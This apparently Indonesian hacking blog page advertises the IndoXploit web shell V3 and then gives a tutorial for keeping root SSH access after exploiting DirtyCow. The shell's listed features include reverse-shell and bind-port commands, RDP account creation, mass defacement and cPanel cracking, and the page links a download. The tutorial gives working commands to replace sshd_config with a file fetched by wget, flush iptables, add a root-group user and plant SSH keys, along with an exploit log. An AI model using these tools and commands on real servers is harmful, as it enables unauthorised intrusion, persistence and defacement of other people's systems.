
- Config Grabber
usage: idxconfig

 - Symlink 
 usage: symlink

 - Reverse Shell 
 [Back Connect]
 usage: rvr bc [IP] [PORT] [TYPE]
 example:
 rvr bc 127.0.0.1 1337 bash
 rvr bc 127.0.0.1 1337 perl

 [Bind Port]
 usage: rvr bp [PORT] [TYPE]
 example:
 rvr bp 1337 perl

 - KRDP - Create RDP Account (for windows server only) 
 usage: krdp

 - Logout From Shell
usage: logout

 - Kill Backdoor 
usage: killme
=============================================
- Mass Password Change
- Fake Root
- Cpanel Crack
- Mass Deface/Delete File
- Zone-H Mass Submit



#Link Download: 
http://server.indoxploit.or.id/indoxploit_v3.txt

###############################################################################
Thanks buat Orang-orang yg membantu dalam proses pembuatan shell ini.
Shell ini tidak sepenuhnya 100% Coding manual, ada beberapa function dan tools kita ambil dari shell yang sudah ada.

Tapi Selebihnya, itu hasil kreasi IndoXploit sendiri.
Tanpa kalian kita tidak akan BESAR seperti sekarang.

Greetz: 
All Member IndoXploit. & All My Friends.
###############################################################################
Special Thanks: 
Depok Cyber Security | Sanjungan Jiwa | 0x1999
###############################################################################

IndoXploit Shell First Edition [ V.3 ]

Haloo.. kali ini saya mau berbagi sedikit tips saja barangkali ada yang belum tau. Biasanya yang pernah rooting server dengan localroot dirtyc0w sering pas sudah eskalasi, add user dan ganti password ternyata tidak bisa masuk ke ssh karena port ssh yang diganti, atau password auth dimatikan (sysadmin server tersebut login menggunakan auth key). Ada juga kasus dimana proses privilege escalation langsung memanggil tty dengan id root, namun ketika menambahkan user tidak bisa karena akses ke perintah seperti passwd iptables, dll dibatasi.
Oke kita bahas dulu kasus pertama.
dirty cow exploit - eksekusi localroot - ganti user dan password - tidak bisa masuk ke ssh.
Kemungkinan nya ada dua, tidak diijinkan login dengan password , atau memang ssh hanya bisa diakses melalui ip tertentu saja (pengaturan iptables).
Trik nya :
su firefat
cd /etc/ssh/
rm sshd_config
wget http://dl.linuxsec.org/sshd.txt -O sshd_config
iptables -F
service ssh restart
Perintah diatas akan menghapus konfigurasi ssh yang dilakukan sysadmin dan mengembalikannya ke pengaturan default dimana password login diijinkan dan port nya di port 22. iptables -F adalah melakukan flushing iptables. Hal ini untuk menghapus semua rule iptables yang ada. Sehingga misalnya rule awal hanya mengijinkan ip tertentu login ke ssh, sekarang kita bisa login ke ssh dari ip kita.
Yang pertama diatas adalah yang kasus paling gampang nya. Nah yang kedua ini lumayan banyak juga
dirty cow exploit - eksekusi localroot - ganti user dan password - tidak bisa masuk ke ssh - /bin/su denied
Nah kalau yang ini, kita gunakan trik berikut.
Kita lakukan eskalasi server dengan localroot yang langsung memanggil tty dengan id root.
Cek Disini
Sehingga proses nya menjadi
exploit - run - id root
log :
./cowroot
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
Size of binary: 30768
Racing, this may take a while..
/usr/bin/passwd overwritten
Popping root shell.
Don't forget to restore /tmp/bak
thread stopped
thread stopped
root@whmdaqu [/home/bugs/public_html/]#
karena id kita sekarang root kita tinggal mengikuti perintah di kasus pertama. Reset sshd config, flush iptables, add user setara root.
Nah kasus yang ketiga
exploit - tty dengan id root - tidak bisa menjalankan perintah passwd, iptables dan perintah lainnya.
Hal ini kemungkinan akses ke perintah sistem dibatasi saat kita menggunakan tty.
Log :
root@server [/root]# /usr/sbin/useradd kontol -g root -d /home/kontol
/usr/sbin/useradd kontol -g root -d /home/kontol
root@server [/root]# passwd kontol
passwd root
root@server [/root]#
yup, prompt password tidak mau terpanggil.
Ini dikarenakan akses di tty dibatasi. bahkan meski memiliki id root kita tidak bisa menjalankan perintah iptables.
Trik yang saya coba dan work :
cd ~
ssh-keygen -t rsa
cp /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys
ssh root@localhost
Kita gunakan akses ssh menggunakan auth key. Kenapa di localhost, kenapa tidak langsung pakai auth key dari server kita ? Disini saya asumsikan firewall server target aktif dan hanya mengijinkan akses ssh dari ip tertentu saja.
Setelah add ssh key, berikut log nya :
root@server [~]# ssh root@localhost
ssh kontol@localhost
Attempting to create directory /root/perl5
root@server [~]#
Memang terlihat sama namun yang pertama adalah tty, dan yang kedua adalah ssh shell.
Sekarang karena yang kita punya bukan tty lagi seharusnya limit atau batasan perintah seperti tidak bisa command iptables, tidak bisa command passwd sudah tidak ada. Selanjutnya tinggal ikuti ara paling atas .
Sekian tutorial kali ini, semoga bermanfaat.

Mendapatkan Akses SSH Setelah Rooting Server

Subscribe to: Posts (Atom)